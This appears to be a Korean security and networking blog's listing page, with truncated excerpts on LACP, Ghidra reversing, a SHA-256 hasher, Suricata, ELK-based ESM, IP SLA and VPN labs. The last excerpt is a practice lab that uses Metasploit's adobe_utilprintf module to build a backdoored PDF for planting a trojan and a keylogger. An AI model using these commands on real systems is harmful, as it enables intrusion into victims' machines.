LACP 통신 방법: 물리적 네트워크 링크를 논리적 링크로 하나로 묶는 것
·
Network
LACP: link aggregation protocalIEEE 802.3ad 표준에 정의된 프로토콜.여러 개의 물리적 네트워크 링크를 하나의 논리적 링크로 묶어주는 기술. -> IEEE는 Institute of Electrical and Electronics Engineers의 약자로, 전기전자기술자협회 주요 기능1. 대역폭 확장2. 이중화2. 부하분산3. 자동구성 사용방법 -trunkSwitch(config)# interface range GigabitEthernet0/1 - 2Switch(config-if-range)# channel-group 1 mode activeSwitch(config)# interface Port-channel1Switch(config-if)# switchport mode..
hello 실행파일 내부 들여다보기(Ghidra) printf
·
Hacking
리버스 실습: 내가 만든 hello 실행파일 내부 들여다보기(Ghidra)목적내가 직접 컴파일한 아주 작은 프로그램을 Ghidra로 열어, 사람이 읽기 쉬운 화면(디컴파일)에서 동작을 확인하고 캡처로 기록한다.준비/빌드소스(hello.c)아래처럼 저장#include int main() { printf("hello\n"); return 0; }컴파일clang hello.c -o hello./hello → hello 출력 확인Ghidra에서 분석Ghidra 실행 → 새 프로젝트 생성 → hello 파일 Import → Analyze(Yes)확인한 화면들캡처: Decompile(main) — printf("hello\n"); return 0;가 보이는 화면캡처: Function Graph — main의 흐름..
간단 바이너리 리버스 실습 (return)
·
Hacking
간단 바이너리 리버스 실습1. 목적- 맥 환경에서 직접 컴파일한 간단한 실행 파일을 리버스 툴(Ghidra)로 열어 함수 흐름, 디컴파일 결과, 제어 흐름 그래프를 확인하고 기본 역분석 감을 익힌다.2. 환경- OS: macOS (Apple Silicon, ARM64)- 컴파일: clang (hello.c → hello)- 도구: Ghidra 최신 버전- 대상 파일: hello (Mach-O, ARM64, 수 KB)3. 분석 절차- Ghidra 프로젝트 생성 → 대상 파일 Import → Auto Analyze 실행(기본 옵션)- 확인한 뷰: - Functions 창에서 main/entry 확인 - Decompile 창에서 main의 C 유사 코드 확인 - Function Graph로 제어 흐름 확..
파이썬3를 이용하여 file sha-256 해시 스캐너 만들기, 무결성 점검 베이스 라인
·
Hacking
목표: 폴더의 파일 해시 계산 도구를 만들어 실행해보기 import hashlib, osdef sha256_of_file(p): import hashlib h = hashlib.sha256() with open(p, "rb") as f: for chunk in iter(lambda: f.read(8192), b""): h.update(chunk) return h.hexdigest()import ostarget = "."for root, _, files in os.walk(target): for name in files: path = os.path.join(root, name) try: print(sha..
IDS - Suricata
·
카테고리 없음
저장소 활성화를 위한 업데이트 dnf -y install epel-releasednf -y update 필수 파일 설치 dnf -y install pcre2-devel (필수 파일 설치 중 error 발생. CentOS, AlmaLinux, Rocky Linux 등 RHEL 계열에서 자주 발생PowerTools 저장소가 crb(CodeReady Builder)로 이름이 바뀌었음) 필수 저장소 epel이랑 crb 활성화dnf config-manager --set-enabled crb 의존성 패키지 설치sudo dnf install gcc libpcap-devel pcre-devel libyaml-devel \zlib-devel jansson-devel libnet-devel libnetfilter_que..
ESM 구축-실습
·
Network
문제rockylinux1(firewall1)ens160 192.168.50.120/24ens224 100.100.100.254/24ens160 200.200.200.254/24rockylinux2(firewall2)ens160 100.100.100.100/24ens224 150.150.150.254/24rockylinux3(server)ens160 150.150.150.150/24CentOS(ESM)eth0 200.200.200.200/241. 모든 장비 네트워크 설정(서로간에 통신 가능하도록 설정)2. server, ESM이 전부 인터넷 통신 가능하도록 설정(www.naver.com)3. server에 WEB 서버 구축(index.html),FTP 서버 구축(passive 모드 설정, root 접속 허..
ESM 구축
·
Linux
java기반이므로 jdk파일을 다운locky linux는 방화벽으로 구축 (jdk, logstash(데이터가공), beats(데이터 실시간 수집))cent Os 는 ESM구축(jdk,elasticsearch(저장하는 곳+검색가능), kibana(보여주는 곳))| 순서 | 실행 대상 | 이유 | | -- | --------------- | --------------------------------------------- | | ① | Elasticsearch | 가장 기본 저장소이자 종착지, 제일 먼저 켜야 함 | | ② | Logstash (선택사항) | Filebeat가..
모니터링 기능 sla/ track (선 두개 연결)
·
Network
주경로보조경로 설정 장점:고가용성 확보가능네트워크 상 상태품질 확인 가능통신 유지 가능10.1이 주소인 R1 ---R2 10.2ip sla 1icmp-echo 10.10.10.2 source-ip 1.010.10.1timeout 3000 (3초만에 응답이 안오면)frequency 4 (4초마다 한번씩icmp쏘겠다)exitip sla schedule 1 life forever start-time now (지금부터 영원히 설정하겠다)track 1 rtr 1 reachability (sla 1번 즉 3초안에 응답이 안 오면 track 1을 동작하겠다)ip route 200.200.200.0 255.255.255.0 10.10.10.2 track 1ip route 200.200.200.0 255.255.255...
PVST + VRRP(게이트웨이 이중화) + vlan + ipsec vpn tunnel mode
·
packet tracer& GNS3
조건vlan 10 vlan 20vpn 설정 PC1ip 10.10.10.1 255.255.255.0 10.10.10.254PC2ip 10.10.20.1 255.255.255.0 10.10.20.254PC3ip 10.10.10.2 255.255.255.0 10.10.10.254PC4ip 10.10.20.2 255.255.255.0 10.10.20.254PC5ip 20.20.20.1 255.255.255.0 20.20.20.254PC6ip 20.20.20.2 255.255.255.0 20.20.20.254ASW1conf tvlan 10name v10vlan 29name v20exitint fa 3/0switchport mode accessswitchport access vlan 10int fa 3/1switc..
프로그램 취약점 공격 실습 +keylog
·
Hacking
실제상황XX프로그램 취약점을 이용한 공격 > pdf 파일에 백도어를 설치해 트로이목마를 심어볼 예정 취약점이 있는 프로그램을 클라이언트측에 설치 msfconsole 들어가기 위 도구는 악성코드로 파일을 만들어줌. use exploit/windows/fileformat/adobe_utilprintf set filename test1.pdfset lport 4455exploit exitcd /root/.msf4 ~~ 경로로 이동 후 파일 압축하기 gzip test1.pdfmv /root/Desktop 파일이 다른 가상머신으로 옮겨지지 않는 경우 아래 설치apt -y install open-vm-tools open-vm-tools-desktop 클라이언트에 파일 옮기고 칼리에서 포트를 여는 도구를 사용한..